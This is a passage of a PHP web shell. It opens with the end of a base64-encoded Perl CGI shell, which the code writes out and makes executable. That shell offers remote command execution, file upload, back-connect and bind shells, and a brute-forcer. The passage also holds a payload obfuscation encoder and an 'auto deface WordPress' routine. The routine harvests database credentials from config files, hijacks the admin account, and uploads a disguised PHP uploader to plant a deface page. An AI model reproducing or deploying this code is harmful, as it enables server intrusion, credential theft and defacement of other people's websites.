WxlJz4NCg0KCQkJPHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPjxhICBocmVmPSc/YT1ndWkmZD0iLiRkLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkb21haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGg1Pjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Ib2FuZyBTYSAtIFRydW9uZyBTYTwvZm9udD48L2g1PiI7DQoJaWYgKCRlcnIpDQoJew0KCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOw0KCX0NCglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQ0KCXsNCgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykNCgkJewkNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZW5hbWU9ICIvZXRjL3ZhbGlhc2VzLyIuJG9uZTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBWaWV3IExvZw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdMb2cNCnsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLA0KCQkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnDQoJCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC13ICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQljaG9wKCRzbCA9IGBsbiAtcyAkbG9nIGVycm9yX2xvZ18kaWApOw0KCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikNCgkJCXsNCgkJCQlpZigtciAkbHMpDQoJCQkJew0KCQkJCQkkcGVybXM9Ik9LIjsNCgkJCQkJJGxvZz0iZXJyb3JfbG9nXyIuJGk7DQoJCQkJfQ0KCQkJfWVsc2UNCgkJCXsNCgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luDQp7DQoJJlBlcmZvcm1Mb2dpbjsNCn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCEoJGNobW9kIGVxIDApKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJY2hvcCgkcmVzdWx0PSBgY2htb2QgJGNobW9kICIkZmlsZSJgKTsNCgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0NCgkJfQ0KCX0NCgkkcmVuYW1lPSRpbnsncmVuYW1lJ307DQoJaWYoISRyZW5hbWUgZXEgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoNCglwcmludCAmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7";
  1999. $cgi = fopen($file_cgi, "w");
  2000. fwrite($cgi, base64_decode($cgi_script));
  2001. fwrite($htcgi, $isi_htcgi);
  2002. chmod($file_cgi, 0755);
  2003. chmod($memeg, 0755);
  2004. echo "<br><center>Done ... <a href='d3n0l_cgi/cgi.d3n0l' target='_blank'>Klik Here</a>";
  2005. } elseif($_GET['d3n0l'] == 'endeco'){
  2006. @ini_set('output_buffering',0);
  2007. @ini_set('display_errors', 0);
  2008. $text = $_POST['code'];
  2009. echo '<form method="POST"><br>
  2010. <textarea class="form-control con7" cols="80" rows="10" name="code">
  2011. </textarea><br><br>
  2012. <select class="form-control con7" size="1" name="ope">
  2013. <center>
  2014. <option value="urlencode">url</option>
  2015. <option value="base64">base64</option>
  2016. <option value="ur">convert_uu</option>
  2017. <option value="json">json</option>
  2018. <option value="gzinflates">gzinflate - base64</option>
  2019. <option value="str2">str_rot13 - base64</option>
  2020. <option value="gzinflate">str_rot13 - gzinflate - base64</option>
  2021. <option value="gzinflater">gzinflate - str_rot13 - base64</option>
  2022. <option value="gzinflatex">gzinflate - str_rot13 - gzinflate - base64</option>
  2023. <option value="gzinflatew">str_rot13-convert_uu-url-gzinflate-str_rot13-base64-convert_uu-gzinflate-url-str_rot13-gzinflate-base64</option>
  2024. <option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
  2025. <option value="url">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
  2026. </center></select>&nbsp;<br><br>
  2027. <input class="ntah" type="submit" name="submit" value="Encode">
  2028. <input class="ntah" type="submit" name="submits" value="Decode">
  2029. </form><br>';
  2030. $submit = $_POST['submit'];
  2031. if (isset($submit)){
  2032. $op = $_POST["ope"];
  2033. switch ($op) {case 'base64': $codi=base64_encode($text);
  2034. break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
  2035. break;case 'json' : $codi=json_encode(utf8_encode($text));
  2036. break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
  2037. break;case 'gzinflater' : $codi=base64_encode(str_rot13(gzdeflate($text)));
  2038. break;case 'gzinflatex' : $codi=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
  2039. break;case 'gzinflatew' : $codi=base64_encode(gzdeflate(str_rot13(rawurlencode(gzdeflate(convert_uuencode(base64_encode(str_rot13(gzdeflate(convert_uuencode(rawurldecode(str_rot13($text))))))))))));
  2040. break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
  2041. break;case 'str2' : $codi=base64_encode(str_rot13($text));
  2042. break;case 'urlencode' : $codi=rawurlencode($text);
  2043. break;case 'ur' : $codi=convert_uuencode($text);
  2044. break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
  2045. break;default:break;
  2046. }
  2047. }
  2048. $submit = $_POST['submits'];
  2049. if (isset($submit)){
  2050. $op = $_POST["ope"];
  2051. switch ($op) {case 'base64': $codi=base64_decode($text);
  2052. break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
  2053. break;case 'json' : $codi=utf8_dencode(json_dencode($text));
  2054. break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
  2055. break;case 'gzinflater' : $codi=gzinflate(str_rot13(base64_decode($text)));
  2056. break;case 'gzinflatex' : $codi=gzinflate(str_rot13(gzinflate(base64_decode($text))));
  2057. break;case 'gzinflatew' : $codi=str_rot13(rawurldecode(convert_uudecode(gzinflate(str_rot13(base64_decode(convert_uudecode(gzinflate(rawurldecode(str_rot13(gzinflate(base64_decode($text))))))))))));
  2058. break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
  2059. break;case 'str2' : $codi=str_rot13(base64_decode($text));
  2060. break;case 'urlencode' : $codi=rawurldecode($text);
  2061. break;case 'ur' : $codi=convert_uudecode($text);
  2062. break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
  2063. break;default:break;
  2064. }
  2065. }
  2066. $html = htmlentities(stripslashes($codi));
  2067. echo "<from>
  2068. <textarea cols='80' rows='10' class='form-control con7' >".$html."</textarea>
  2069. <br/><br/></center><br></from>";
  2070. } elseif($_GET['d3n0l'] == 'auto_dwp') {
  2071. if($_POST['auto_deface_wp']) {
  2072. function anucurl($sites) {
  2073. $ch = curl_init($sites);
  2074. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2075. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2076. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2077. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2078. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2079. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2080. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2081. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2082. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2083. $data = curl_exec($ch);
  2084. curl_close($ch);
  2085. return $data;
  2086. }
  2087. function lohgin($cek, $web, $userr, $pass, $wp_submit){
  2088. $POST = array(
  2089. "log" => "$userr",
  2090. "pwd" => "$pass",
  2091. "rememberme" => "forever",
  2092. "wp-submit" => "$wp_submit",
  2093. "redirect_to" => "$web",
  2094. "testcookie" => "1",
  2095. );
  2096. $ch = curl_init($cek);
  2097. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2098. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2099. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2100. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2101. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2102. curl_setopt($ch, CURLOPT_POST, 1);
  2103. curl_setopt($ch, CURLOPT_POSTFIELDS, $POST);
  2104. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2105. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2106. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2107. $data = curl_exec($ch);
  2108. curl_close($ch);
  2109. return $data;
  2110. }
  2111. $scan = $_POST['link_config'];
  2112. $link_config = scandir($scan);
  2113. $script = htmlspecialchars($_POST['script']);
  2114. $user = "gandatamvan";
  2115. $pass = "gandatamvan";
  2116. $passx = md5($pass);
  2117. foreach($link_config as $dir_config){
  2118. if(!is_file("$scan/$dir_config")) continue;
  2119. $config = file_get_contents("$scan/$dir_config");
  2120. if(preg_match("/WordPress/", $config)){
  2121. $dbhost = ambilkata($config,"DB_HOST', '","'");
  2122. $dbuser = ambilkata($config,"DB_USER', '","'");
  2123. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2124. $dbname = ambilkata($config,"DB_NAME', '","'");
  2125. $dbprefix = ambilkata($config,"table_prefix = '","'");
  2126. $prefix = $dbprefix."users";
  2127. $option = $dbprefix."options";
  2128. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2129. $db = mysql_select_db($dbname);
  2130. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2131. $result = mysql_fetch_array($q);
  2132. $id = $result[ID];
  2133. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2134. $result2 = mysql_fetch_array($q2);
  2135. $target = $result2[option_value];
  2136. if($target == ''){
  2137. echo "[-] <font color=red>Error!!! [-]</font><br>";
  2138. } else {
  2139. echo "[+] $target [+]<br>";
  2140. }
  2141. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2142. if(!$conn OR !$db OR !$update){
  2143. echo "[-] MySQL Error: <font color=red>".mysql_error()." [-]</font><br><br>";
  2144. mysql_close($conn);
  2145. } else {
  2146. $site = "$target/wp-login.php";
  2147. $site2 = "$target/wp-admin/theme-install.php?upload";
  2148. $b1 = anucurl($site2);
  2149. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2150. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2151. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2152. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2153. $www = "m.php";
  2154. $fp5 = fopen($www,"w");
  2155. fputs($fp5,$upload3);
  2156. $POST2 = array(
  2157. "_wpnonce" => "$anu2",
  2158. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2159. "themezip" => "@$www",
  2160. "install-theme-submit" => "Install Now",
  2161. );
  2162. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2163. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2164. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2165. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2166. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2167. curl_setopt($ch, CURLOPT_POST, 1);
  2168. curl_setopt($ch, CURLOPT_POSTFIELDS, $POST2);
  2169. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2170. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2171. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2172. $data3 = curl_exec($ch);
  2173. curl_close($ch);
  2174. $y = date("Y");
  2175. $m = date("m");
  2176. $namafile = "id.php";
  2177. $fpi = fopen($namafile,"w");
  2178. fputs($fpi,$script);
  2179. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2180. curl_setopt($ch6, CURLOPT_POST, true);
  2181. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2182. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
